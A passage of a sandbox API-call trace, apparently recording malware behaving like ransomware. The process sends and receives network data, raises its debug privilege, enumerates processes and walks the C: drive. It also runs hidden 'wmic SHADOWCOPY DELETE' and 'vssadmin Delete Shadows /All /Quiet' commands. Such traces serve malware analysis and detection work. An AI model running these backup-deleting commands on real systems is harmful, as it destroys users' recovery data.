pHandles=0x10fdd80*=0x408, lpdwindex=0x10fdb54 | out: lpdwindex=0x10fdb54) returned 0x80010115 [0065.251] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdd80*=0x410, lpdwindex=0x10fdb54 | out: lpdwindex=0x10fdb54) returned 0x80010115 [0065.251] SetEvent (hEvent=0x344) returned 1 [0065.251] select (in: nfds=0, readfds=0x305cce0, writefds=0x0, exceptfds=0x0, timeout=0x10fe078 | out: readfds=0x305cce0, writefds=0x0, exceptfds=0x0) returned 0 [0065.253] send (s=0x580, buf=0x3005c08*, len=143, flags=0) returned 143 [0065.258] select (in: nfds=0, readfds=0x305d620, writefds=0x0, exceptfds=0x0, timeout=0x10fdf48 | out: readfds=0x305d620, writefds=0x0, exceptfds=0x0) returned 1 [0065.346] setsockopt (s=0x580, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0065.346] recv (in: s=0x580, buf=0x2fffe28, len=4096, flags=0 | out: buf=0x2fffe28*) returned 25 [0065.352] send (s=0x580, buf=0x305ba60*, len=238, flags=0) returned 238 [0065.353] recv (in: s=0x580, buf=0x2fffe28, len=4096, flags=0 | out: buf=0x2fffe28*) returned 204 [0065.548] setsockopt (s=0x580, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0065.549] QueryPerformanceCounter (in: lpPerformanceCount=0x10fe238 | out: lpPerformanceCount=0x10fe238*=15672351860) returned 1 [0065.549] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdd00*=0x3dc, lpdwindex=0x10fdad4 | out: lpdwindex=0x10fdad4) returned 0x80010115 [0065.549] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdcb0*=0x3d0, lpdwindex=0x10fda84 | out: lpdwindex=0x10fda84) returned 0x80010115 [0065.550] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdcb0*=0x3d8, lpdwindex=0x10fda84 | out: lpdwindex=0x10fda84) returned 0x80010115 [0065.550] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdd80*=0x3fc, lpdwindex=0x10fdb54 | out: lpdwindex=0x10fdb54) returned 0x80010115 [0065.550] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdd80*=0x408, lpdwindex=0x10fdb54 | out: lpdwindex=0x10fdb54) returned 0x80010115 [0065.551] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x10fdd80*=0x410, lpdwindex=0x10fdb54 | out: lpdwindex=0x10fdb54) returned 0x80010115 [0065.551] SetEvent (hEvent=0x344) returned 1 [0065.551] select (in: nfds=0, readfds=0x30607d0, writefds=0x0, exceptfds=0x0, timeout=0x10fe078 | out: readfds=0x30607d0, writefds=0x0, exceptfds=0x0) returned 0 [0065.551] send (s=0x580, buf=0x3005c08*, len=142, flags=0) returned 142 [0065.552] select (in: nfds=0, readfds=0x3061110, writefds=0x0, exceptfds=0x0, timeout=0x10fdf48 | out: readfds=0x3061110, writefds=0x0, exceptfds=0x0) returned 1 [0065.645] setsockopt (s=0x580, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0065.645] recv (in: s=0x580, buf=0x2fffe28, len=4096, flags=0 | out: buf=0x2fffe28*) returned 25 [0065.645] send (s=0x580, buf=0x305f650*, len=107, flags=0) returned 107 [0065.646] recv (in: s=0x580, buf=0x2fffe28, len=4096, flags=0 | out: buf=0x2fffe28*) returned 204 [0065.759] setsockopt (s=0x580, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0065.839] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x10fe1b0, nSize=0x64 | out: lpDst="C:\\WINDOWS") returned 0xb [0065.840] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x10fe1b0, nSize=0x64 | out: lpDst="C:\\WINDOWS") returned 0xb [0065.843] LocalAlloc (uFlags=0x0, uBytes=0x34) returned 0x1ec0e040 [0065.845] ShellExecuteExW (in: pExecInfo=0x3062dd8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\WINDOWS\\System32\\cmd.exe", lpParameters="/C wmic SHADOWCOPY DELETE", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x3062dd8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\WINDOWS\\System32\\cmd.exe", lpParameters="/C wmic SHADOWCOPY DELETE", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x76c)) returned 1 [0066.885] LocalFree (hMem=0x1ec0df40) returned 0x0 [0066.885] LocalFree (hMem=0x1ec0e040) returned 0x0 [0066.886] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x10fe1b0, nSize=0x64 | out: lpDst="C:\\WINDOWS") returned 0xb [0066.886] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x10fe1b0, nSize=0x64 | out: lpDst="C:\\WINDOWS") returned 0xb [0066.886] LocalAlloc (uFlags=0x0, uBytes=0x38) returned 0x1ec6c8c0 [0066.886] LocalAlloc (uFlags=0x0, uBytes=0x4e) returned 0x1ec51a80 [0066.886] ShellExecuteExW (in: pExecInfo=0x30634f8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\WINDOWS\\System32\\cmd.exe", lpParameters="/C vssadmin Delete Shadows /All /Quiet", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x30634f8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\WINDOWS\\System32\\cmd.exe", lpParameters="/C vssadmin Delete Shadows /All /Quiet", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x778)) returned 1 [0066.900] LocalFree (hMem=0x1ec6c8c0) returned 0x0 [0066.900] LocalFree (hMem=0x1ec51a80) returned 0x0 [0066.913] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x10fd3b0 | out: lpLuid=0x10fd3b0*(LowPart=0x14, HighPart=0)) returned 1 [0066.914] GetCurrentProcess () returned 0xffffffffffffffff [0066.914] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x10fd3a8 | out: TokenHandle=0x10fd3a8*=0x6b8) returned 1 [0066.915] AdjustTokenPrivileges (in: TokenHandle=0x6b8, DisableAllPrivileges=0, NewState=0x3063810*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0066.915] CloseHandle (hObject=0x6b8) returned 1 [0066.921] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1d850) returned 0x0 [0067.053] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de00) returned 0x0 [0067.059] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de00) returned 0x0 [0067.065] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de00) returned 0x0 [0067.070] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de00) returned 0x0 [0067.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.220] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.221] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.222] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.223] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.223] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.224] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.224] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.307] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.312] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.318] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.323] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.328] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.333] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.338] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.343] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.347] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.378] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.383] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.388] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.393] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.398] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.403] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.407] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.412] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1de50) returned 0x0 [0067.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1ddb0) returned 0x0 [0067.474] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1ddb0) returned 0x0 [0067.479] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1ddb0) returned 0x0 [0067.484] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1ddb0) returned 0x0 [0067.558] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1dd60) returned 0x0 [0067.559] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1dd60) returned 0x0 [0067.559] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1dd60) returned 0x0 [0067.560] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12fa9f00, Length=0x20000, ResultLength=0x10fe2b0 | out: SystemInformation=0x12fa9f00, ResultLength=0x10fe2b0*=0x1dd60) returned 0x0 [0067.562] GetLogicalDrives () returned 0x4 [0067.579] EtwEventRegister (in: ProviderId=0x30f6e10, EnableCallback=0x1b8b095c, CallbackContext=0x0, RegHandle=0x30f6df0 | out: RegHandle=0x30f6df0) returned 0x0 [0067.579] EtwEventSetInformation (RegHandle=0x7e00001ec2f660, InformationClass=0x2, EventInformation=0x30f6da8, InformationLength=0x28) returned 0x0 [0067.588] WindowsCreateStringReference () returned 0x0 [0067.588] RoGetActivationFactory () returned 0x0 [0067.588] QueryInterface () returned 0x0 [0067.588] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0067.588] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0067.588] QueryInterface () returned 0x0 [0067.588] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::GetRuntimeClassName () returned 0x8000000e [0067.588] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0067.588] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::AddRef () returned 0x4 [0067.588] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0067.588] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0067.588] Release () returned 0x4 [0067.588] CoGetContextToken (in: pToken=0x10fc040 | out: pToken=0x10fc040) returned 0x0 [0067.588] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0067.589] CoGetContextToken (in: pToken=0x10fc290 | out: pToken=0x10fc290) returned 0x0 [0067.589] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0067.589] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x4 [0067.589] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0067.589] WindowsDeleteString () returned 0x0 [0067.589] Release () returned 0x2 [0067.589] CoGetContextToken (in: pToken=0x10fccb0 | out: pToken=0x10fccb0) returned 0x0 [0067.590] CoGetContextToken (in: pToken=0x10fcbb0 | out: pToken=0x10fcbb0) returned 0x0 [0067.590] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0067.590] AddRef () returned 0x4 [0067.590] Release () returned 0x3 [0067.647] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::add_TracingStatusChanged () returned 0x0 [0067.662] GenericStreamBase::Write () returned 0x0 [0067.662] GenericStreamBase::Write () returned 0x0 [0067.662] CoCreateGuid (in: pguid=0x7ff91250a5f0 | out: pguid=0x7ff91250a5f0*(Data1=0xaf049904, Data2=0x4fd9, Data3=0x466b, Data4=([0]=0xa9, [1]=0x8f, [2]=0x91, [3]=0x79, [4]=0x40, [5]=0x4e, [6]=0xfb, [7]=0x37))) returned 0x0 [0067.662] GenericStreamBase::Write () returned 0x0 [0067.665] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0067.665] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x3 [0067.665] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0067.665] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0067.665] Release () returned 0x3 [0067.665] CoGetContextToken (in: pToken=0x10fbe00 | out: pToken=0x10fbe00) returned 0x0 [0067.666] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0067.667] WindowsCreateString () returned 0x0 [0067.667] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x4 [0067.667] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x3 [0067.667] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::get_Enabled () returned 0x0 [0068.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fda90) returned 1 [0068.104] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x10fd530, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0068.106] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x10fd7b0 | out: lpFindFileData=0x10fd7b0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x1ec51fc0 [0068.107] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0068.107] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0068.107] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0068.108] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0068.108] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0068.108] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0068.108] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0068.108] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0068.108] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0068.108] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3d7ebe9, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0068.110] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0068.110] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0068.111] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fd770 | out: lpFindFileData=0x10fd770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", 